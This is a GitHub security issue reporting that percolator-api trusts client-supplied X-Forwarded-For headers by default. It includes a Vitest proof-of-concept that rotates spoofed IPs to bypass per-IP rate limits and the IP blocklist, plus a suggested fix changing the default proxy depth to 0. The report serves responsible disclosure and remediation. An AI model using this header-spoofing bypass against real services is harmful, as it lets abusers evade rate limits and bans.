Skip to content

[HIGH-CRITICAL]Bug: Default TRUSTED_PROXY_DEPTH trusts client-supplied X-Forwarded-For, enabling spoofed-IP bypass of HTTP rate limits, IP blocklist, and WebSocket abuse controls #230

Description

@Bayyan16

Summary

percolator-api currently defaults TRUSTED_PROXY_DEPTH to 1 in multiple client-IP extraction paths. When this environment variable is not explicitly configured, the API treats the incoming X-Forwarded-For header as trusted input and uses it as the client identity.

Because X-Forwarded-For is client-controllable unless a trusted reverse proxy strips or rewrites it, a direct client or a misconfigured proxy path can spoof arbitrary source IP addresses. This allows the same caller to rotate apparent IPs and bypass per-IP HTTP rate limits, influence IP blocklist decisions, and affect WebSocket abuse controls that rely on the extracted client IP.

This report does not assume that the production deployment is definitely exploitable. Practical exploitability depends on whether the edge proxy or load balancer sanitizes X-Forwarded-For. However, the application-level default is unsafe: with TRUSTED_PROXY_DEPTH unset, the API assumes one trusted proxy and consumes X-Forwarded-For as trusted input. A safer default is TRUSTED_PROXY_DEPTH=0, requiring operators to explicitly opt in to forwarded-header trust only when their deployment topology guarantees that X-Forwarded-For is sanitized by a trusted proxy.

Severity

High, potentially Critical depending on production proxy topology.

Rationale

This is a cross-cutting abuse-control issue because the same unsafe default affects multiple protection layers:

  • HTTP read rate limiting
  • HTTP write rate limiting
  • IP blocklist enforcement
  • WebSocket IP blocklist checks
  • WebSocket auth-failure bans
  • WebSocket authenticated per-IP connection caps
  • WebSocket unauthenticated per-IP connection caps

I would not classify this as unconditional Critical because exploitability depends on the production proxy/load-balancer configuration. However, the code-level default is unsafe because it makes forwarded-header trust enabled by default instead of requiring an explicit operator opt-in.

Affected Files

The unsafe default appears in three independent client-IP extraction paths:

const parsed = Number(process.env.TRUSTED_PROXY_DEPTH ?? 1);

Affected files:

src/middleware/rate-limit.ts
src/middleware/ip-blocklist.ts
src/routes/ws.ts

Root Cause

The application assumes one trusted proxy by default:

process.env.TRUSTED_PROXY_DEPTH ?? 1

With this default, any request containing X-Forwarded-For can influence the client IP used by abuse-control logic when TRUSTED_PROXY_DEPTH is not explicitly configured.

The safer behavior is to default to:

process.env.TRUSTED_PROXY_DEPTH ?? 0

With TRUSTED_PROXY_DEPTH=0, the application ignores forwarded headers and uses the socket remote address instead. Deployments that are intentionally behind a trusted proxy can still explicitly opt in by setting:

TRUSTED_PROXY_DEPTH=1

Impact

1. HTTP rate-limit bucket rotation

The HTTP rate limiter derives its bucket key from the extracted client IP:

`read:${ip}`
`write:${ip}`

When X-Forwarded-For is trusted by default, a caller can rotate spoofed X-Forwarded-For values and receive a fresh rate-limit bucket for each apparent IP.

Impact:

  • The intended per-IP read limit can be bypassed.
  • The intended per-IP write limit can be bypassed if write endpoints are enabled later.
  • A single client can consume more API capacity than intended.
  • Downstream abuse controls become less effective because the client identity is attacker-controlled.

2. IP blocklist decision can be controlled by the caller

The IP blocklist middleware uses the extracted client IP to decide whether a request should be rejected.

If the service trusts client-supplied X-Forwarded-For, a caller can change the blocklist decision by changing only the header value.

Impact:

  • A blocklisted client can appear as a different, non-blocklisted IP.
  • Operators may believe an abusive IP is blocked while the application still accepts requests with spoofed forwarded headers.
  • The blocklist becomes dependent on attacker-controlled input unless the deployment proxy sanitizes the header.

3. WebSocket abuse controls use the same client-IP trust boundary

The WebSocket handler repeats the same TRUSTED_PROXY_DEPTH default and uses the extracted IP for multiple WS-specific controls, including:

  • WebSocket blocklist checks
  • Auth-failure bans
  • Authenticated per-IP connection limits
  • Unauthenticated per-IP connection limits

Impact:

  • The same spoofed-IP identity issue affects the WebSocket path.
  • WebSocket abuse controls can be weakened if the service accepts unsanitized X-Forwarded-For.
  • This makes the issue cross-cutting rather than isolated to one HTTP middleware.

Proof of Concept

The following Vitest test demonstrates the vulnerable behavior.

Create the test file:

cat > tests/middleware/proxy-depth-default.test.ts <<'EOF'
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
import { Hono } from "hono";

vi.mock("@percolator/shared", () => ({
  createLogger: vi.fn(() => ({
    info: vi.fn(),
    warn: vi.fn(),
    error: vi.fn(),
    debug: vi.fn(),
  })),
}));

describe("TRUSTED_PROXY_DEPTH unsafe default behavior", () => {
  const oldDepth = process.env.TRUSTED_PROXY_DEPTH;
  const oldBlocklist = process.env.IP_BLOCKLIST;

  beforeEach(() => {
    vi.resetModules();
    vi.doUnmock("@hono/node-server/conninfo");
    delete process.env.TRUSTED_PROXY_DEPTH;
    delete process.env.IP_BLOCKLIST;
  });

  afterEach(() => {
    if (oldDepth === undefined) delete process.env.TRUSTED_PROXY_DEPTH;
    else process.env.TRUSTED_PROXY_DEPTH = oldDepth;

    if (oldBlocklist === undefined) delete process.env.IP_BLOCKLIST;
    else process.env.IP_BLOCKLIST = oldBlocklist;

    vi.doUnmock("@hono/node-server/conninfo");
    vi.resetModules();
  });

  it("PoC: unset TRUSTED_PROXY_DEPTH trusts spoofed X-Forwarded-For and allows HTTP read-rate bucket rotation", async () => {
    const { readRateLimit } = await import("../../src/middleware/rate-limit.js");
    const { resetSharedStore, InMemoryStore } = await import("../../src/middleware/shared-store.js");

    resetSharedStore(new InMemoryStore());

    const app = new Hono();
    app.get("/test", readRateLimit(), (c) => c.json({ ok: true }));

    // Same real client can rotate spoofed XFF values.
    // Vulnerable behavior: every spoofed IP receives a fresh read-rate bucket.
    for (let i = 0; i < 150; i++) {
      const res = await app.request("/test", {
        headers: {
          "x-forwarded-for": `198.51.100.${i}`,
        },
      });

      expect(res.status).toBe(200);
    }

    // Control: one fixed spoofed IP still hits the normal 100/min bucket.
    const fixedIp = "203.0.113.10";

    for (let i = 0; i < 100; i++) {
      const res = await app.request("/test", {
        headers: {
          "x-forwarded-for": fixedIp,
        },
      });

      expect(res.status).toBe(200);
    }

    const blocked = await app.request("/test", {
      headers: {
        "x-forwarded-for": fixedIp,
      },
    });

    expect(blocked.status).toBe(429);
  });

  it("PoC: unset TRUSTED_PROXY_DEPTH lets spoofed X-Forwarded-For control the IP blocklist decision", async () => {
    process.env.IP_BLOCKLIST = "203.0.113.10";

    const { ipBlocklist } = await import("../../src/middleware/ip-blocklist.js");

    const app = new Hono();
    app.get("/test", ipBlocklist(), (c) => c.json({ ok: true }));

    // Control: when spoofed XFF equals the blocked IP, the request is blocked.
    const blocked = await app.request("/test", {
      headers: {
        "x-forwarded-for": "203.0.113.10",
      },
    });

    expect(blocked.status).toBe(403);

    // Vulnerable behavior: changing only client-controlled XFF changes the
    // blocklist decision and allows the request through.
    const bypassed = await app.request("/test", {
      headers: {
        "x-forwarded-for": "198.51.100.77",
      },
    });

    expect(bypassed.status).toBe(200);
  });

  it("Control: TRUSTED_PROXY_DEPTH=0 ignores spoofed X-Forwarded-For and rate-limits by socket IP", async () => {
    process.env.TRUSTED_PROXY_DEPTH = "0";

    vi.doMock("@hono/node-server/conninfo", () => ({
      getConnInfo: vi.fn(() => ({
        remote: {
          address: "10.0.0.1",
        },
      })),
    }));

    const { readRateLimit } = await import("../../src/middleware/rate-limit.js");
    const { resetSharedStore, InMemoryStore } = await import("../../src/middleware/shared-store.js");

    resetSharedStore(new InMemoryStore());

    const app = new Hono();
    app.get("/test", readRateLimit(), (c) => c.json({ ok: true }));

    for (let i = 0; i < 100; i++) {
      const res = await app.request("/test", {
        headers: {
          "x-forwarded-for": `198.51.100.${i}`,
        },
      });

      expect(res.status).toBe(200);
    }

    const blocked = await app.request("/test", {
      headers: {
        "x-forwarded-for": "198.51.100.250",
      },
    });

    expect(blocked.status).toBe(429);
  });
});
EOF

Before running the PoC, verify that the source files are still unchanged:

git diff -- src/middleware/rate-limit.ts src/middleware/ip-blocklist.ts src/routes/ws.ts

Expected output:

(no output)

Run the PoC:

./node_modules/.bin/vitest run tests/middleware/proxy-depth-default.test.ts --reporter=verbose

Expected vulnerable result:

Test Files  1 passed
Tests       3 passed

Observed locally before applying the fix:

✓ PoC: unset TRUSTED_PROXY_DEPTH trusts spoofed X-Forwarded-For and allows HTTP read-rate bucket rotation
✓ PoC: unset TRUSTED_PROXY_DEPTH lets spoofed X-Forwarded-For control the IP blocklist decision
✓ Control: TRUSTED_PROXY_DEPTH=0 ignores spoofed X-Forwarded-For and rate-limits by socket IP

Test Files  1 passed
Tests       3 passed

Why the PoC Confirms the Bug

The first test sends 150 requests while rotating X-Forwarded-For.

Under the vulnerable default, each spoofed IP receives a separate rate-limit bucket, so all 150 requests return 200.

The same test then sends 101 requests using one fixed X-Forwarded-For value. The 101st request returns 429, proving that the rate limiter itself works, but the client-IP extraction allows the caller to choose the bucket key.

The second test configures:

IP_BLOCKLIST=203.0.113.10

A request with:

X-Forwarded-For: 203.0.113.10

is rejected with 403.

The same request path with:

X-Forwarded-For: 198.51.100.77

succeeds with 200.

This demonstrates that the blocklist decision can be controlled by the spoofed forwarded header.

The third test demonstrates the intended safe behavior. When TRUSTED_PROXY_DEPTH=0 is explicitly configured, spoofed X-Forwarded-For values are ignored and all requests are counted against the socket IP.

Suggested Fix

Change the default trusted proxy depth from 1 to 0 in all affected files:

- const parsed = Number(process.env.TRUSTED_PROXY_DEPTH ?? 1);
+ const parsed = Number(process.env.TRUSTED_PROXY_DEPTH ?? 0);

Also change the invalid-config fallback from 1 to 0:

- return 1;
+ return 0;

Affected files:

src/middleware/rate-limit.ts
src/middleware/ip-blocklist.ts
src/routes/ws.ts

This makes the application fail closed by default. Deployments that are actually behind a trusted proxy can still explicitly opt in:

TRUSTED_PROXY_DEPTH=1

Post-Fix Verification

After applying the fix, the original vulnerable-behavior PoC should no longer pass.

Observed locally after changing the default to 0:

Test Files  1 failed
Tests       2 failed | 1 passed

The two vulnerable-behavior tests failed because the application no longer trusted spoofed X-Forwarded-For. This confirms that the fix blocks the demonstrated behavior.

The 500 responses observed in the old vulnerable-behavior tests after the fix are expected in this test harness because the code no longer uses the spoofed X-Forwarded-For value and instead attempts to read the socket remote address from Hono's test context. The important security result is that the previous 200 and 403 expectations based on spoofed X-Forwarded-For no longer hold.

Non-Duplication Notes

This issue is distinct from existing reports about:

  • IPv6 rate-limit bypass
  • WebSocket upgrade path bypassing HTTP middleware
  • WebSocket per-IP TOCTOU
  • IPv6 blocklist/auth-ban bypass
  • Redis/in-memory fallback desync

Those issues focus on different root causes:

  • IPv6 bucket keying
  • WebSocket upgrade path skipping Hono middleware
  • Non-atomic check-then-increment
  • IPv6 parsing/matching
  • Backend state split between Redis and memory

This report focuses specifically on attacker-controlled client identity caused by trusting X-Forwarded-For by default when TRUSTED_PROXY_DEPTH is unset.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions